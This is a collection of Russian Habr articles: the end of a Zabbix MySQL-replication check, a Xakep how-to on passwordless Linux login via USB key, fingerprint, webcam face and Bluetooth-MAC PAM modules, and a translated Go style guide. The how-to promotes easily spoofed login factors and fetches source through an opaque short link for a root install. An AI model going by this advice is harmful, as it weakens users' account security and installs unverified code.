Это значит, что если заббикс (или zabbix\_get) запросят item с ключем mysql\_repl.check, то запустится наш скрипт и мы получим его значение (0 или 1)
После этого надо перезапустить агентд заббикса и можно добавлять item и trigger в заббикс. В Item, в поле Show value надо выставить Service state (в этом случае 0 это down, 1 up)
mysql\_repl.check
И триггер на него: {MyHost:mysql\_repl.check.last(0)}<1
Не забывайте, что item и trigger надо добавить на оба хоста. Где слетит репликация — там и зажжется триггер.
Все.
Желаю высокой доступности вашим mysql серверам. | https://habr.com/ru/post/136353/ | null | ru | null |
# Посторонним вход воспрещен
Тебе никогда не приходила в голову мысль о том, что идея использовать логин и пароль для входа в систему несколько устарела? Почему, имея в одном кармане флешку, в другом — телефон, а на компе установленный SSH с настроенной авторизацией при помощи ключей, мы продолжаем вводить эти запутанные пароли?
Пароли и учетные записи были придуманы в эпоху больших мейнфреймов, движения хиппи, войны в Афганистане и больших аналоговых магнитофонов, самым технологичным компонентом из которых были транзисторы. В те времена использование паролей для входа в мейнфрейм выглядело действительно круто. Можно было придумать комбинацию вроде sexhero или iamsuperman и действительно гордиться собой.
Сегодня же пароли выглядят не только архаичной, но и ужасно неудобной вещью, старые понтовые комбинации уже не работают, и вместо них приходится придумывать зубодробительные наборы символов, которые не только нереально запомнить, но и проблематично ввести с первого раза. Мы живем в XXI веке, имеем доступ к огромному количеству гаджетов и технических средств, которые предлагают гораздо более простой и качественный механизм аутентификации, но продолжаем вбивать пароли, матерясь на всю квартиру при каждой неудачной попытке войти в систему. Пора это исправить.
В этой статье я расскажу о том, как раз и навсегда избавиться от паролей и превратить свой комп в по-настоящему технологичное устройство, для входа в которое будет достаточно вставить флешку, взглянуть в веб-камеру или просто положить на стол сотовый телефон.
### Высокотехнологичный ключ
Ключ — самый простой и эффективный метод защиты чего бы то ни было. Мы пользуемся ключами ежедневно: для включения двигателя автомобиля, для входа в квартиру, для отпирания ящиков и шкафов. Ключи удобны и просты в изготовлении, благодаря современным программируемым замкам их не страшно потерять. Множество раз человечество пыталось придумать замену ключам, но все попытки провалились (все мы помним, к чему привела идея использовать кодовые замки на подъездных дверях). Почему же мы не используем столь хорошую и проверенную временем технологию для защиты компьютеров?
Современный аналог ключа — USB-флешка. Вне зависимости от того, для каких целей ты обычно используешь флешку, из нее всегда можно сделать полноценный высокотехнологичный ключ, с помощью которого войти в систему будет так же легко, как отпереть дверь в квартиру.
Есть несколько способов сделать это, но наиболее простой и универсальный метод — это использовать PAM-модуль [pam\_usb](http://pamusb.org), который будет проверять каждую вставленную в комп флешку на предмет ее соответствия указанным требованиям и, в зависимости от результата, разблокировать или блокировать учетную запись пользователя.
Никакой модификации таблицы разделов или информации, хранимой на флешке, при этом не потребуется. Для идентификации «правильной» флешки используется ее серийный номер, модель, производитель, а также набор случайных данных, которые записываются в резервную область флешки и изменяются при каждой удачной аутентификации (если кто-то скопирует твою флешку, но ты успеешь войти в систему раньше злоумышленника, данные будут изменены, и его копия уже не сработает). В случае утери всегда останется возможность войти в систему, используя пароль, и перекодировать pam\_usb на новую флешку. Также в качестве ключа можно использовать различные карты памяти (SD, MMC) и другие съемные накопители.
Начать использовать pam\_usb довольно просто. Полная настройка системы состоит из пяти шагов.
**1.** Ставим библиотеку libpam\_usb.so и утилиты управления модулем:
`$ sudo apt-get install libpam-usb pamusb-tools`
**2.** Берем флешку, которую собираемся использовать в качестве ключа, вставляем ее в USB-порт и выполняем следующую команду:
`$ sudo pamusb-conf --add-device имя`
Так pam\_usb соберет всю необходимую информацию о флешке, добавит в свою базу данных и запишет 2 Кб случайных данных. Для поиска флешки в системе будет использован Udisks (аргумент «имя» здесь используется, чтобы дать флешке произвольное название, а не для указания ее файла-устройства), так что важно, чтобы другие внешние накопители на время работы этой команды были отключены.
**3.** Теперь даем pam\_usb понять, чтобы эта флешка была ассоциирована с нужной нам учетной записью (путь это будет vasya):
`$ sudo pamusb-conf --add-user vasya`
**4.** Запускаем проверку правильности собранных данных на случай, если флешка не была корректно идентифицирована. Или мы забыли отсоединить какой-то другой накопитель, и он был использован вместо нужного нам:
`$ sudo pamusb-check vasya`
**5.** Добавляем pam\_usb в список модулей, необходимых для проведения успешной аутентификации пользователя. В Ubuntu и других дистрибутивах, основанных на Debian, это делается с помощью модификации файла /etc/pam.d/common-auth. В нем необходимо найти строку примерно следующего вида (она может отличаться): `auth required pam_unix.so`. И прямо перед ней добавить следующую строку: `auth sufficient pam_usb.so`.
Так мы сообщим PAM, что перед логином любого пользователя нужно отдавать управление модулю pam\_usb, который проверит наличие нужной флешки, и лишь в случае неудачи этой операции запрашивать пароль. Поэтому, если ты хочешь впускать пользователя только по флешке, полностью блокируя аккаунт в случае неудачи, слово «sufficient» следует заменить словом «required».
В принципе, всего этого должно быть достаточно для того, чтобы система просто работала (попытайся выйти и войти, чтобы это проверить), однако функциональность pam\_usb можно несколько расширить, если использовать демон pamusb-agent.
Задача pamusb-agent — автоматизировать работу по блокированию и разблокированию учетной записи пользователя при извлечении и втыкании флешки в комп. Чтобы агент заработал, необходимо добавить в конфигурационный файл /etc/pamusb.conf следующие строки:
`имя\_устройства
...
gnome-screensaver-command --lock
gnome-screensaver-command --deactivate
...`
Это рецепт для Gnome. Чтобы использовать pamusb-agent с другими средами, команды «gnome-screensaver-command --lock» и «gnome-screensaver-command --deactivate» необходимо изменить.
Теперь можно запустить pamusb-agent и проверить его работоспособность:
`$ pamusb-agent`
Если все работает нормально, можно добавить его в автозапуск:
`$ cd ~/.config/autostart
$ ln -s /usr/bin/pamusb-agent pamusb-agent`
### Обкатаем пальчики?
Модуль pam\_usb удобно использовать в качестве метода защиты ноутбуков, оснащенных кард-ридером. Можно носить небольшую SD-карту в кошельке или внутреннем кармане и втыкать ее в ноутбук, не беспокоясь о том, что она будет мешать (как это происходит в случае с USB-флешкой). Однако этот подход будет выглядеть несколько архаично, если ноутбук уже оснащен сканером для снятия отпечатков пальцев.
Ноутбуки со сканером отпечатков пальцев выпускают многие производители. Как правило, они не намного дороже других сходных по характеристикам моделей, однако их сенсор отпечатков работает только в Windows. Для устранения этого недостатка freedesktop.org запустил проект [fprint](http://www.freedesktop.org/wiki/Software/fprint), в рамках которого разработана открытая реализация библиотеки для распознавания отпечатков и соответствующий PAM-модуль, позволяющий задействовать возможности библиотеки во время логина пользователя и других манипуляций над аккаунтом.
Сегодня libfprint есть в любом дистрибутиве, поэтому установить его можно с помощью любого пакетного менеджера:
`$ sudo apt-get install libfprint0 libpam-fprint fprint-demo`
Далее сканер можно проверить с помощью специальной демонстрационной программы с графическим интерфейсом:
`$ fprint_demo`
Если все работает корректно и без сбоев, можно начать настройку аутентификации. Для этого следует запустить программу pam\_fprint\_enroll, которая позволит сделать эталонный слепок отпечатка пальца, который затем будет использован для идентификации его владельца:
`# pam_fprint_enroll –enroll-finger 7`
Цифра 7 здесь означает указательный палец правой руки. Система fprint нумерует пальцы слева направо, так что цифрой 1 будет обозначен мизинец левой руки, а 10 — мизинец правой.
Когда слепок будет готов, добавим модуль pam\_fprint в стек PAM-модулей всех приложений, для этого открываем файл /etc/pam.d/common-auth, находим все ту же строку «auth required pam\_unix.so» и добавляем прямо перед ней строку, отвечающую за загрузку pam\_fprint: `auth sufficient pam_fprint.so`.
При следующем логине все должно заработать.
#### Добавляем модули pam\_usb и pam\_fprint в стек PAM
### Память на лица
Пальцы — не единственное, что отличает людей друг от друга. У всех нас разные лица, поэтому для идентификации пользователя система может использовать снимок лица, сделанный веб-камерой. Это не особо секьюрно, так как атакующий может показать камере обычную фотографию, отпечатанную на бумаге, но произведет очень сильное впечатление на друзей и знакомых.
В Linux-дистрибутивах нет встроенных средств распознавания лиц, однако их можно добавить с помощью установки комплекта ПО под названием [pam-face-authentication](http://www.pam-face-authentication.org), который включает в себя библиотеку, реализующую алгоритм распознавания лиц, PAM-модуль для осуществления аутентификации и приложение для генерирования эталонного снимка.
Все это можно собрать из исходников или же установить из сторонних репозиториев в Ubuntu. Так как проект еще сырой, и пакеты подготовлены не для всех дистрибутивов, мы рассмотрим оба варианта установки. Итак, для установки из исходников нам понадобятся пакеты с компилятором, линковщиком и заголовочными файлами для всех зависимостей. В Ubuntu (да и в других дистрибах) их можно установить, выполнив одну команду:
`$ sudo apt-get install build-essential cmake qt4-qmake libx11-dev libcv-dev libcvaux-dev libhighgui4 libhighgui-dev libqt4-dev libpam0g-dev`
Далее скачиваем исходники со страницы проекта и распаковываем:
`$ cd
$ wget goo.gl/dpD1s
$ tar -xzf pam-face-authentication-0.3.tar.gz`
Для сборки используется cmake, поэтому здесь все просто:
`$ cd pam-face-authentication-0.3
$ cmake && make
$ sudo make install`
Для установки уже прекомпилированного пакета в Ubuntu можно использовать репозиторий antonio.chiurazzi:
`$ sudo add-apt-repository ppa:antonio.chiurazzi/ppa
$ sudo apt-get update
$ sudo apt-get install pam-face-authentication`
После окончания установки запускаем обучающую программу:
`$ qt-facetrainer`
Вертим лицом перед камерой, постоянно нажимая кнопку «Capture». Важно сделать хотя бы десяток фотографий, чтобы система научилась распознавать твое лицо под любым углом. Также будет неплохо сделать фотографии при разной освещенности. Не забываем протестировать работу системы.
Теперь добавим модуль pam\_face\_authentication.so в стек загружаемых PAM-модулей. Для этого открываем файл /etc/pam.d/gdm или /etc/pam.d/kdm (если ты пользуешься KDE) и добавляем в его начало следующую строку: `auth sufficient pam_face_authentication.so enableX`/
Файл /etc/pam.d/common-auth изменять не надо, так как он используется не только графическими менеджерами входа в систему, но и стандартными консольными /bin/login и /bin/su, а pam\_face требует доступа к иксам.
Также необходимо создать профиль для нового PAM-модуля. Открываем (создаем) файл /usr/share/pam-configs/face\_authentication следующего содержания:
`Name: Manually installed face_authentication profile
Default: yes
Priority: 900
Auth-Type: Primary
Auth:
[success=end default=ignore] pam_face_authentication.so enableX`
И активируем его:
`$ sudo pam-auth-update --package face_authentication`
### Ключ из телефона
Сотовый телефон — символ 21-го века. Мы давно привыкли к тому, что его можно использовать не только для звонков, но и для выхода в интернет, игр, прослушивания музыки, просмотра видео и даже оплаты счетов. Но можно ли использовать его как ключ для входа в компьютерную систему?
Конечно, да. Как и USB-флешка, телефон имеет множество признаков, которые делают его уникальным. Это все те же идентификаторы производителя и модели, серийный номер, MAC-адреса, IMEI, в конце концов. Любой из них можно использовать для однозначной идентификации устройства и его владельца, но мы остановимся только на одном из них — MAC-адресе Bluetooth-интерфейса.
Любой, даже очень древний и простой телефон имеет поддержку протокола Bluetooth и, как следствие, уникальный MAC-адрес, который передает в сеть в ответ на любой запрос поиска устройств другим Bluetooth-адаптером. Многие современные ноутбуки имеют на борту такой адаптер, а его внешний USB'шный вариант стоит копейки, так что для нас синий зуб будет идеальным вариантом для настройки беспарольной и беспроводной аутентификации. Зашел в комнату — доступ открыт, вышел — система заблокирована.
Берем телефон, включаем Bluetooth, делаем так, чтобы он был «видим» другим устройствам. Садимся за комп и запускаем утилиту hcitool (входит в пакет bluez-utils) в режиме поиска устройств:
`$ hcitool scan`
Получаем имя своего устройства и его MAC-адрес, копируем последний в буфер обмена. Устанавливаем пакет libpam\_blue (или pam\_blue, где как):
`$ sudo apt-get install libpam_blue`
Создаем файл конфигурации /etc/security/bluesscan.conf и пишем в него следующее:
`# Общие настройки
general {
# Продолжительность сканирования в секундах (от 3 до 15)
timeout = 15;
}
# Настройки пользователей и их устройств
mylogin = {
name = Имя устройства;
bluemac = MAC-адрес устройства;
}`
Сохраняем файл, открываем уже знакомый нам конфиг /etc/pam.d/common-auth и добавляем строку `auth sufficient pam_blue.so` перед строкой, содержащей «pam\_unix.so».
Теперь для входа в систему будет достаточно положить телефон рядом с ноутом и ввести имя. Далее управление будет передано модулю pam\_blue, который просканирует сеть, найдет MAC-адрес телефона и впустит пользователя. В противном случае придется ввести пароль.
### Выводы
Настроить беспарольную аутентификацию с помощью альтернативных методов в Linux довольно просто. Для этого не нужно быть матерым гиком, уметь писать код или иметь глубокие познания в области безопасности, все делается за несколько минут и работает поразительно эффективно. Ты можешь сказать, что большинство из этих методов потенциально небезопасны и легко обходятся, но перед тем как это сделать, задумайся о том, насколько безопасны обычные пароли.
Безопасность машины, к которой могут получить доступ сторонние люди — чистой воды миф. Обойти стандартную защиту паролем проще простого. Есть огромное количество способов сделать это, и все они известны даже детям. Пароль — это лишь небольшой указательный знак, несущий информацию о том, что у компа есть владелец, и он не хочет видеть непрошенных гостей. Применив методы, описанные в статье, мы не сделаем систему более уязвимой, но сможем сделать свою жизнь проще и удобнее.
###### Аналог файла /etc/pam.d/common-auth в Gentoo и Mandriva носит имя /etc/pam.d/system-auth, во FreeBSD вместо него используется /etc/pam.d/system. В ArchLinux придется править PAM-конфиги отдельно для каждого приложения.
###### Еще один способ обезопасить машину от вторжения — удаленно создать файл /etc/nologin с помощью любого мобильного SSH-клиента. Для разблокировки придется войти как root и удалить этот файл.
*Журнал Хакер, [Сентябрь (09) 152](http://www.xakep.ru/articles/magazine/default.asp)
Евгений Зобнин ([execbit.ru](http://execbit.ru))*.
Подпишись на «Хакер»
* [1 999 р. за 12 номеров бумажного варианта](http://bit.ly/habr_subscribe_paper)
* [1249р. за годовую подписку на iOS/iPad (релиз Android'а скоро!)](http://bit.ly/digital_xakep)
* [«Хакер» на Android](http://bit.ly/habr_android) | https://habr.com/ru/post/127384/ | null | ru | null |
# Как писать код на Go? Подход Google. Часть первая
Рекомендации по стилю для проектов из Google с открытым исходным кодом
======================================================================
Руководство по стилю Go
-----------------------
Принципы стиля
--------------
Есть несколько охватывающих всё принципов, которые резюмируют представления о том, как писать читаемый код на языке Go. Ниже перечислены признаки читаемого кода в порядке их важности:
1. **[Ясность](https://habr.com/ru/company/skillfactory/blog/708830/#clarity)**: Назначение и обоснованность кода должны быть понятны читателю.
2. **[Простота](https://habr.com/ru/company/skillfactory/blog/708830/#simplicity)**: Код должен выполнять свою задачу самым простым способом.
3. **[Лаконичность](https://habr.com/ru/company/skillfactory/blog/708830/#concision)**: Код должен содержать как можно меньше воды.
4. **[Сопровождаемость](https://habr.com/ru/company/skillfactory/blog/708830/#maintainability)**: Код должен быть написан так, чтобы его легко было поддерживать.
5. **[Согласованность](https://habr.com/ru/company/skillfactory/blog/708830/#consistency)**: Код должен согласоваться с более масштабной кодовой базой Google.
Подробности — [к старту курса по Backend-разработке на Go](https://skillfactory.ru/backend-razrabotchik-na-golang?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_go_010123&utm_term=lead).
### Ясность
Основная цель читаемости — сделать код понятным читателю.
Ясность достигается, в первую очередь, созданием эффективной системы имён, написанием полезных комментариев, а также эффективной организацией кода.
Ясность нужно рассматривать с точки зрения читателя кода, а не его автора. А легко читается, как правило, то, что легко пишется. Два аспекта ясности кода:
* [Что делает код?](https://habr.com/ru/company/skillfactory/blog/708830/#clarity-purpose)
* [Почему код делает это?](https://habr.com/ru/company/skillfactory/blog/708830/#clarity-rationale)
#### Что делает код? (назначение)
Go разработан так, чтобы быть относительно простым в том смысле, чтобы видеть, что делает код. В случае неясности или когда для понимания нужно «быть в теме», автору стоит потратить время, чтобы сделать назначение кода понятнее будущим читателям. В частности, этому поспособствуют:
* более описательные имена переменных;
* дополнительные комментарии;
* разбиение кода пробельными символами и комментариями;
* модульный подход с рефакторингом по методам/функциям.
Ни один подход не универсален, но при разработке кода в Go ясность всегда должна быть в приоритете.
#### Почему код делает это? (Обоснованность)
Часто обоснование кода достаточно передать именами переменных, функций, методов или пакетов. Где этого нет, важно добавить комментарий. Вопрос «Почему?» особенно важен, когда в коде есть нюансы, с которыми читатель может быть не знаком:
* нюанс в языке: замыкание будет захватывать переменную цикла, но само оно расположено на расстоянии многих строк;
* нюансы в бизнес-логике: специальная защита при идентификации пользователя;
API может требовать внимания, чтобы правильно его использовать. Например, оптимизированный фрагмент кода может казаться сложным и запутанным, а сложная последовательность математических операций может включать неожиданные конверсии типов. Эти и многие другие случаи требуют от автора разъяснений в комментариях и сопроводительной документации, которые уберегут сопровождающих код людей от ошибки, а читателей кода — от непонимания и необходимости в реверс-инжиниринге.
Важно осознавать, что некоторые попытки внести ясность (например, дополнительные комментарии) могут скрыть цель кода. Такое возможно, когда комментарии делают код беспорядочным, повторяют то, что предельно ясно из самого кода, или противоречат коду по своей сути. Проблемы вызывают и комментарии, которые нужно постоянно обновлять, чтобы их содержание соответствовало действительности. Такие комментарии затрудняют сопровождение. Пусть код говорит сам за себя, где это возможно (для этого, например, полезно давать объектам «говорящие» имена). Это лучше, чем писать избыточные комментарии. Кроме того, часто полезнее писать комментарии, объясняющие не что делает код, а зачем и почему он это делает.
В общем и целом кодовая база Google стремится к единообразию и согласованности. Но часто бывает, что отдельно взятый код в ней не соответствуют требованиям (например, содержит малознакомые паттерны). Таким решениям есть веские причины. Как правило, эти причины связаны с оптимизацией производительности. При этом важно указать, на что обратить внимание в новом фрагменте кода.
Стандартная библиотека содержит много примеров применения такого подхода на практике. В их числе:
* комментарии мейнтейнера в [`package sort`](https://cs.opensource.google/go/go/+/refs/tags/go1.19.2:src/sort/sort.go);
* полезные [рабочие примеры в рамках одного пакета](https://cs.opensource.google/go/go/+/refs/tags/go1.19.2:src/sort/example_search_test.go), которые удобны как для пользователей ([просматриваются в godoc](https://pkg.go.dev/sort#pkg-examples)), так и для мейнтейнеров ([запускаются в рамках тестов](https://google.github.io/styleguide/go/decisions#examples)).
* примеры [`strings.Cut`](https://pkg.go.dev/strings#Cut) всего из 4 строк кода, которые [вносят ясность и придают точкам вызова правильный вид](https://github.com/golang/go/issues/46336).
### Простота
Ваш код в Go должен быть простым в применении, чтении и сопровождении.
Код Go должен быть написан самым простым способом, который достигает поставленных целей, как с точки зрения поведения, так и с точки зрения производительности. В кодовой базе Google простой код Go:
* легко читается от начала и до конца;
* не предполагает, что читатель знаком с принципом работы кода;
* не требует держать в памяти всё прочитанное;
* не имеет лишних уровней абстракции;
* не имеет имён, привлекающих внимание к чему-то слишком очевидному;
* объясняет логику решений и изменений значений;
* содержит комментарии, объясняющие не что делает код, а зачем и почему он это делает, не уводя от темы;
* имеет самостоятельную документацию;
* содержит полезные ошибки и проверки сбоев;
* часто исключает "умный" код;
Между простотой кода и простотой использования API возможны компромиссы. К примеру, усложнить код может быть целесообразно, чтобы конечному пользователю было проще правильно вызвать API. И наоборот, может быть целесообразно немного усложнить действия конечного пользователя API, чтобы код оставался простым и понятным.
Если сложность в коде необходима, её нужно вносить осознанно. Как правило, это бывает необходимо для повышения производительности или при наличии множества разрозненных клиентов опредёленной библиотеки или сервиса. Сложность может быть оправдана, но в любом случае она должна объясняться сопроводительной документацией, чтобы клиенты и будущие мейнтейнеры могли ориентироваться в этой сложности. Сложные фрагменты должны быть дополнены тестами и примерами, которые покажут, что использовать сложный код разумно, особенно когда одну и ту же задачу решает и «простой», и «сложный» код.
Принцип простоты кода не означает, что сложный код не может и не должен создаваться в Go. Мы стремимся лишь к тому, чтобы кодовая база не содержала избыточно сложного кода. Если код становится сложным, это означает, что его будет сложнее понимать и сопровождать. В идеале такая ситуация требует сопроводительного комментария с обоснованием решения и указанием того, на что обратить особое внимание. Код часто становится сложнее для понимания человеком, когда оптимизируется его производительность с точки зрения машины. Повышение производительности часто требует более сложного подхода, например, предварительного выделения буфера и последующего его использование на протяжении всего времени жизни «гоурутины» (сопрограммы). Когда это видит человек, сопровождающий код, он понимает, что производительность кода критична, и это нужно учитывать при внесении любых изменений. Однако же, если сложность искусственная, без явной необходимости в ней, то она ложится бременем на тех, кто будет читать и сопровождать его.
Если код оказывается очень сложным, хотя его цель должна быть простой, это часто является сигналом к пересмотру реализации, к тому, чтобы посмотреть, есть ли способ сделать то же самое проще.
#### Принцип простейшей механики
Если одну идею можно выразить по-разному, предпочтение отдаётся решению с самыми стандартными средствами. К сложным алгоритмам не стоит обращаться без веских причин. Усложнить код просто. Гораздо сложнее упростить его, если сложность оказалась избыточной.
1. Стремитесь обходиться базовыми конструкциями языка, если их достаточно для достижения вашей цели. К таким конструкциям относятся, например, канал (channel), слайс (slice), карта, цикл и структура.
2. Если их недостаточно, ищите языковые средства в стандартной библиотеке. Это может быть, например, гипертекстовый клиент или движок шаблонизатора.
3. Поищите библиотеку ядра в кодовой базе Google. Только если найти её не удалось, вводите новую зависимость или создавайте свою.
Рассмотрим, например, рабочий код, где есть переменная с привязкой к флагу. Эта переменная имеет значение по умолчанию, которое должно переопределяться в ходе тестирования. Если мы не намерены тестировать программу в режиме командной строки (допустим, с помощью `os/exec`), проще и разумнее переопределить связанное значение напрямую, чем использовать `flag.Set`.
Аналогично, если фрагменту кода нужна проверка существования элемента во множестве, часто достаточно карты логических значений. Например, это может быть `map[string]bool`. Библиотеки с типами и функционалом наподобие множеств используются только там, где необходимы сложные операции, где карты неприменимы или заметно усложняют задачу.
### Лаконичность
Лаконичный код Go содержит минимум «воды». В нём легко выделить самые важные части, а структура кода и система именования служат подсказками.
Многие аспекты могут оттенять важные части кода в разные моменты чтения. Среди них:
* дублируемый код;
* аутентичный синтаксис;
* [неинтуитивные имена](https://habr.com/ru/company/skillfactory/blog/708830/#naming);
* лишние уровни абстракции;
* пробельные символы;
Когда код дублируется, очень трудно понять разницу между почти одинаковыми фрагментами. Читателю приходится сравнивать похожие строки кода и выискивать различия. Хорошим примером кода, где важные детали выделены на фоне повторений, являются [Table-Driven Tests](https://github.com/golang/go/wiki/TableDrivenTests). При этом выбор того, что включать в таблицу, а что нет, напрямую влияет на понятность этой таблицы.
Когда код можно структурировать по-разному, стоит подумать о том, какой способ лучше выделит важные фрагменты.
Понимание и применение стандартных конструкций и выражений важно для лаконичности кода. Например, этот фрагмент кода — привычный способ [обработки ошибок](https://go.dev/blog/errors-are-values), который быстро поймёт любой читатель.
```
// Хорошо:
if err := doSomething(); err != nil {
// ...
}
```
И если фрагмент кода очень похож на приведённый выше, читатель может и не заметить, что есть небольшое отличие. В подобном случае разумно «[забустить](https://google.github.io/styleguide/go/best-practices#signal-boost)» сигнал проверки ошибки, добавив привлекающий внимание комментарий.
```
// Хорошо:
if err := doSomething(); err == nil { // if NO error
// ...
}
```
### Сопровождаемость
Код редактируют гораздо чаще, чем пишут или переписывают. Поэтому читаемость кода важна не только для тех, кто хочет понять принцип его работы, но и для тех, кому предстоит его редактировать. Ясность чрезвычайно важна.
Хорошо сопровождаемый код:
* легко поддаётся корректному редактированию;
* имеет структурированные API, допускающие элегантное развитие;
* чётко описывает принятые допущения и выбирает абстракции, отображающие структуру задачи, а не самого кода;
* не имеет избыточной связности и неиспользуемых особенностей;
* имеет исчерпывающие тесты, позволяющие проверить факт поддержки заявленного поведения и корректности важной логики;
* должен предоставить чёткую и действенную диагностику в случае сбоя в рамках того же набора тестов;
При использовании таких абстракций, как интерфейсы и типы, которые по определению вырывают информацию из контекста, важно убедиться, что они достаточно полезны. Мейнтейнеры и IDE могут напрямую обращаться к определению метода и отображать соответствующую документацию, если применяется конкретный тип. Если же это не так, они могут обратиться только к определению интерфейса. Интерфейсы — мощный инструмент, но за него приходится платить. Для правильного применения интерфейса при сопровождении может потребоваться знание специфики нижележащей реализации. Эту специфику необходимо объяснять в документации интерфейса или в точке вызова.
Сопровождаемость кода также предполагает, что важные детали кода не «завуалированы» там, где их легко пропустить. К примеру, для понимания приведённых ниже строк кода нужно подметить, есть ли всего один символ, или его нет:
```
// Плохо:
// The use of = instead of := can change this line completely.
if user, err = db.UserByID(userID); err != nil {
// ...
}
```
```
// Плохо:
// The ! in the middle of this line is very easy to miss.
leap := (year%4 == 0) && (!(year%100 == 0) || (year%400 == 0))
```
Оба фрагмента верны по сути, но их можно написать чётче или снабдить комментариями, которые привлекут внимание к важным особенностям поведения кода:
```
// Хорошо:
u, err := db.UserByID(userID)
if err != nil {
return fmt.Errorf("invalid origin user: %s", err)
}
user = u
```
```
// Хорошо:
// Gregorian leap years aren't just year%4 == 0.
// See https://en.wikipedia.org/wiki/Leap_year#Algorithm.
var (
leap4 = year%4 == 0
leap100 = year%100 == 0
leap400 = year%400 == 0
)
leap := leap4 && (!leap100 || leap400)
```
Таким образом, вспомогательная функция, скрывающая критичную логическую структуру кода или важный крайний случай, может привести к тому, что при сопровождении их попросту не заметят.
Ещё одна особенность хорошо сопровождаемого кода — прогнозируемость имён. При использовании пакета или сопровождении фрагмента кода приходится прогнозировать имена переменных, методов или функций в конкретном контексте. Параметры функций и имена адресатов в одинаковых понятиях должны называться одинаково, чтобы документация была понятной, а рефакторинг обходился минимум накладных расходов.
Хорошо сопровождаемый код минимизируем явные и скрытые зависимости. Когда код зависит от меньшего числа пакетов, для поддержания определённого поведения требуется меньше строк кода. Отсутствие зависимости от внутреннего или незадокументированного поведения снижает вероятность проблем, когда поведение программы придётся менять.
При структурировании кода стоит задуматься о том, как этот код может измениться со временем. Если при каком-то из возможных подходов вносить изменения проще и безопаснее, это будет хороший компромисс, даже если он несколько усложнит конструкцию кода.
### Согласованность
Согласованный код должен выглядеть, ощущаться и вести себя так же, как аналогичный код в более масштабной кодовой базе, в рамках рабочей группы, пакета и даже отдельного файла.
Согласованность не должна вноситься в код в ущерб любому из приведённых выше принципов. Однако стоит сделать код согласованным, если он останется ясным, простым, лаконичным и сопровождаемым.
Прежде всего согласованность нужна в рамках пакета (package). Когда одну задачу в одном пакете решают по-разному, а понятие в одном файле называют по-разному, это создаёт значительные неудобства. Но даже это не отменяет необходимости следовать задокументированным принципам стиля и стремиться к глобальной согласованности.
Ключевые рекомендации
---------------------
Эти рекомендации объединяют самые важные аспекты стиля Go, которым должен соответствовать любой код Go. Ожидается, что эти принципы будут усвоены и соблюдены к моменту, когда код станет читаемым. Не предполагается, что эти принципы будут часто меняться, и новые дополнения должны будут соответствовать высокому уровню.
Ниже приведена расширенная версия рекомендаций [Effective Go](https://go.dev/doc/effective_go), признанные всемирным комьюнити базовыми для языка Go.
### Форматирование
Все файлы исходного кода должны соответствовать формату вывода инструмента форматирования `gofmt`. Этот формат поддерживается в кодовой базе Google при проверке перед отправкой кода. Как правило, [генерируемый код](https://docs.bazel.build/versions/main/be/general.html#genrule) должен иметь тот же формат (который задаётся, например, через [`format.Source`](https://pkg.go.dev/go/format#Source)), поскольку и такой код индексируется системой Code Search.
### Смешанные регистры
В исходном коде принято слитное написание без подчёркиваний (`MixedCaps` или `mixedCaps`). Иными словами, если имя состоит из нескольких слов, программисты Go используют «верблюжий», а не «змеиный» регистр.
Это правило действует даже тогда, когда оно противоречит правилам синтаксиса других языков программирования. К примеру, экспортируемая константа записывается как `MaxLength` (а не `MAX_LENGTH`); неэкспортируемая — как `maxLength` (вместо `max_length`).
Запись локальных переменных соответствует образцу записи [неэкспортируемых](https://go.dev/ref/spec#Exported_identifiers) для выбора начального регистра.
### Длина строки
Длина строки не ограничена. Если строка выглядит слишком длинной, вместо обычного разбиения следует провести рефракторинг этой строки. Если же длина строки целесообразна, строке можно позволить остаться длинной.
Кроме того, не разбивайте строку:
* перед структурным изменением [(indentation change)](https://google.github.io/styleguide/go/decisions#indentation-confusion), таким как объявление функции или условный оператор
* если это разделит на части строковую переменную (например, URL-адрес)
### Именование
Именование больше похоже на искусство, чем на науку. В Go имена обычно короче, чем во многих других языках, однако применимы действующие для других языков [универсальные правила](https://testing.googleblog.com/2017/10/code-health-identifiernamingpostforworl.html).
Имена не должны:
* ощущаться бесполезным [повторением](https://google.github.io/styleguide/go/decisions#repetition);
* выбираться без учёта контекста;
* повторять понятия, которое уже используется.
Подробнее о выборе имён — в документе [«Решения по стилю»](https://google.github.io/styleguide/go/decisions#naming).
### Локальная согласованность
Если в «Руководстве по стилю» ничего не сказано о конкретном аспекте стиля, авторы кода вольны выбирать стиль по вкусу. Однако локальный код (код в одном файле или пакете, а иногда — принадлежащий одной группе или директории) должен придерживаться согласованного подхода к решению каждой отдельной задачи.
Примеры **правильного** выбора локального стиля:
* применение `%s` или `%v` при форматированном выводе ошибок;
* применение буферизированных каналов (buffered channels) вместо мьютексов.
Примеры **неправильного** выбора локального стиля:
* ограничение кода по длине строки;
* применение тестовых библиотек на основе утверждений (ассертов).
Если локальный стиль нарушает требования «Руководства по стилю», но это влияет на читаемость только одного файла, это обычно выявляется при код-ревью. Согласованные правки при этом остаются за пределами рассматриваемого списка изменений (CL). В этом случае разумно отправить сообщение об ошибке и следить за ходом исправлений.
Если предложенные изменения ещё сильнее нарушают к стилю, распространяют его по поверхностям API, увеличивают число файлов с нарушениями или приводят к багам, то локальная согласованность не может оправдать нарушения требований в новом коде. В этом случае автору следует привести существующую кодовую базу в порядок в рамках того же CL, провести рефакторинг с опережением CL или найти альтернативу, которая, по меньшей мере, не усугубляет локальные проблемы.
[](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_010123&utm_term=banner)
* [Профессия Backend-разработчик на Go (12 месяцев)](https://skillfactory.ru/backend-razrabotchik-na-golang?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_go_010123&utm_term=conc)
* [Профессия Data Scientist (24 месяца)](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_010123&utm_term=conc)
**Краткий каталог курсов**
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_010123&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_010123&utm_term=cat)
* [Курс «Математика для Data Science»](<https://skillfactory.ru/matematika-dlya-data-science#syllabus>? utm\_source=habr&utm\_medium=habr&utm\_campaign=article&utm\_content=data-science\_mat\_010123&utm\_term=cat)
